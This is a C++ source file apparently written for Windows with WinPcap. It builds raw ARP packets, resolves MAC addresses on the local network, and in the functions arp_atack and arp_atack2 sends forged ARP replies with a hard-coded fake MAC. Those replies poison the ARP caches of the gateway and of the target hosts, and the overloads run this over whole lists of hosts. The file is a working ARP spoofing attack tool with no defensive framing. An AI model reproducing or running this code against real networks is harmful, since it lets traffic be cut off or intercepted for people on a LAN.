#include <cstring>
#include "arp.h"
#include "pcap.h"
#include "get_all_host_in_LAN.h"

#pragma comment(lib, "wpcap.lib")

pcap_t *get_netcard(int inum);

pcap_t *get_netcard(int inum)
{
	pcap_if_t *alldevs, *d;
	int i = 0;
	char errbuf[PCAP_ERRBUF_SIZE];

	if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) != 0)
		return NULL;

	for(d=alldevs; d; d=d->next)  
		++ i;
	if(i == 0)  
		return NULL;
	if(inum < 1 || inum > i)  
		return NULL;

	for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

	pcap_t *adhandle = NULL;
	adhandle = pcap_open(d->name, 65535, PCAP_OPENFLAG_NOCAPTURE_RPCAP|PCAP_OPENFLAG_NOCAPTURE_LOCAL, 1050, NULL, errbuf);
	pcap_freealldevs(alldevs);
	return adhandle;
}

int init_arp_packet(ARPPACKET *arp_packet, unsigned int packet_size, 
					unsigned int mac_address_len, unsigned int ip_address_len, 
					unsigned char *send_mac_address, unsigned int send_ip_address, 
					unsigned char *recv_mac_address, unsigned int recv_ip_address)
{
	memset(arp_packet, 0, packet_size);

	if(recv_mac_address != NULL)
		memcpy(&(arp_packet->ehhdr.eh_dst), recv_mac_address, mac_address_len);
	else
		memset(&(arp_packet->ehhdr.eh_dst), 0xff, mac_address_len);
	memcpy(&(arp_packet->ehhdr.eh_src), send_mac_address, mac_address_len);
	arp_packet->ehhdr.eh_type = htons(ETH_ARP);

	arp_packet->arphdr.arp_hdr = htons(ARP_HARDWARE);
	arp_packet->arphdr.arp_pro = htons(ETH_IP);
	arp_packet->arphdr.arp_hln = mac_address_len;
	arp_packet->arphdr.arp_pln = ip_address_len;
	arp_packet->arphdr.arp_opt = htons(ARP_REQUEST);
	memcpy(&(arp_packet->arphdr.arp_sha), send_mac_address, mac_address_len);
	arp_packet->arphdr.arp_spa = send_ip_address;
	if(recv_mac_address != NULL)
		memcpy(&(arp_packet->arphdr.arp_tha), recv_mac_address, mac_address_len);
	else
		memset(&(arp_packet->arphdr.arp_tha), 0, mac_address_len);
	arp_packet->arphdr.arp_tpa = recv_ip_address;

	return 0;
}

void packet_handler(unsigned char *param, const struct pcap_pkthdr *header, const unsigned char *pkt_data)
{
	HANDPARAM *hand_param = (HANDPARAM *)param;
	ARPPACKET *arp_reply = (ARPPACKET *)pkt_data;
	if(arp_reply->ehhdr.eh_type != htons(ETH_ARP))
		return;
	if(arp_reply->arphdr.arp_opt != htons(ARP_REPLY))
		return;
	if(arp_reply->arphdr.arp_spa != hand_param->ui_ip_addr)
		return;
	hand_param->is_recv = true;
	memcpy(&(hand_param->mac_addr), arp_reply->arphdr.arp_sha, 6);
}

int get_mac_address_by_ip(unsigned int ui_target_ip_address, unsigned char *target_mac_address, unsigned int target_mac_address_len, int inum)
{
	int mac_address_len, ip_address_len;
	unsigned char *mac_address;
	unsigned int ip_address;

	mac_address_len = 6;
	ip_address_len = sizeof(unsigned int);
	mac_address = new unsigned char[mac_address_len];

	int return_value = -1;

	int send_numbers = 100;
	const unsigned int packet_size = 60;
	ARPPACKET *arp_packet;
	arp_packet = (ARPPACKET*)new char[packet_size];

	pcap_t *adhandle = get_netcard(inum);
	if(adhandle == NULL)
		return_value = -1;
	else if((get_host_IPAddress(ip_address) != 0) || (get_host_MacAddress(mac_address, mac_address_len) != 0))
		return_value = -1;
	else if(init_arp_packet(arp_packet, packet_size, mac_address_len, ip_address_len, mac_address, ip_address, NULL, ui_target_ip_address) != 0)
		return_value = -1;
	else
	{
		for(int i=0; i<send_numbers; i++)
			pcap_sendpacket(adhandle, (unsigned char *)arp_packet, packet_size);

	 	HANDPARAM param;
		param.is_recv = false;
		param.ui_ip_addr = ui_target_ip_address;
		memset(&(param.mac_addr), 0, 6);
		pcap_dispatch(adhandle, -1, packet_handler, (unsigned char *)&param);
		if(param.is_recv == false)
			return_value = -1;
		else
		{
			memcpy(target_mac_address, &(param.mac_addr), 6);
			return_value = 0;
		}
	}

	delete []arp_packet;
	delete []mac_address;
	pcap_close(adhandle);
	return return_value;
}

void arp_atack(unsigned int ui_ip_addr, int inum)
{
	pcap_t *adhandle = get_netcard(inum);
	if(adhandle == NULL)
		return;

	const int packet_size = 60;
	char tmp_arp_packet[packet_size];
	ARPPACKET *arp_packet = (ARPPACKET *)tmp_arp_packet;
	unsigned char mac_address[] = {0x90, 0x4c, 0xe5, 0x6f, 0x35, 0x21};
	unsigned char target_mac_address[6];
	unsigned int ui_host_ip, ui_host_mask;
	get_host_IPAddress(ui_host_ip);
	get_host_IPMask(ui_host_mask);
	get_mac_address_by_ip((ui_host_ip&ui_host_mask)|0x01000000, target_mac_address, 6, 2);
	init_arp_packet(arp_packet, packet_size, 6, 4, mac_address, ui_ip_addr, target_mac_address, (ui_host_ip&ui_host_mask)|0x01000000);

	int send_numbers = 10;
	for(int i=0; i<send_numbers; i++)
		pcap_sendpacket(adhandle, (unsigned char *)arp_packet, packet_size);
	pcap_close(adhandle);
}

void arp_atack(std::vector<unsigned int> ui_ip_addr, int inum)
{
	std::vector<unsigned int>::iterator p;
	for(p=ui_ip_addr.begin(); p!=ui_ip_addr.end(); p++)
	{
		arp_atack(*p, inum);
	}
}

void arp_atack2(unsigned int ui_ip_addr, int inum)
{
	pcap_t *adhandle = get_netcard(inum);
	if(adhandle == NULL)
		return;

	const int packet_size = 60;
	char tmp_arp_packet[packet_size];
	ARPPACKET *arp_packet = (ARPPACKET *)tmp_arp_packet;
	unsigned char mac_address[] = {0x90, 0x4c, 0xe5, 0x6f, 0x35, 0x21};
	unsigned char target_mac_address[6];
	unsigned int ui_host_ip, ui_host_mask;
	get_host_IPAddress(ui_host_ip);
	get_host_IPMask(ui_host_mask);
	get_mac_address_by_ip(ui_ip_addr, target_mac_address, 6, 2);
	init_arp_packet(arp_packet, packet_size, 6, 4, mac_address, (ui_host_ip&ui_host_mask)|0x01000000, target_mac_address, ui_ip_addr);

	int send_numbers = 10;
	for(int i=0; i<send_numbers; i++)
		pcap_sendpacket(adhandle, (unsigned char *)arp_packet, packet_size);
	pcap_close(adhandle);
}

void arp_atack2(std::vector<unsigned int> ui_ip_addr, int inum)
{
	std::vector<unsigned int>::iterator p;
	for(p=ui_ip_addr.begin(); p!=ui_ip_addr.end(); p++)
	{
		arp_atack2(*p, inum);
	}
}
